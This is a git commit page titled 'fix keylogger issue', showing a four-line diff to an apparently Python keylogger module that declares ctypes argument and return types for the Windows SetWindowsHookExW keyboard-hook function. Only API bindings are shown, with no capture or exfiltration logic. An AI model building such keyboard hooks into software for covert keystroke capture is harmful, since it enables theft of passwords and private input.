fix keylogger issue

This commit is contained in:
Alessandro ZANNI 2016-07-28 17:53:56 +02:00
parent ef36a137ea
commit 0dff44d339
1 changed files with 4 additions and 1 deletions

View File

@ -59,7 +59,10 @@ VK_RETURN = 0x0D # ENTER key
VK_ESCAPE = 0x1B
# Base Win API
SetWindowsHookEx = user32.SetWindowsHookExW
SetWindowsHookEx = user32.SetWindowsHookExW
SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
SetWindowsHookEx.restype = HHOOK
UnhookWindowsHookEx = user32.UnhookWindowsHookEx
CallNextHookEx = user32.CallNextHookEx
GetMessage = user32.GetMessageW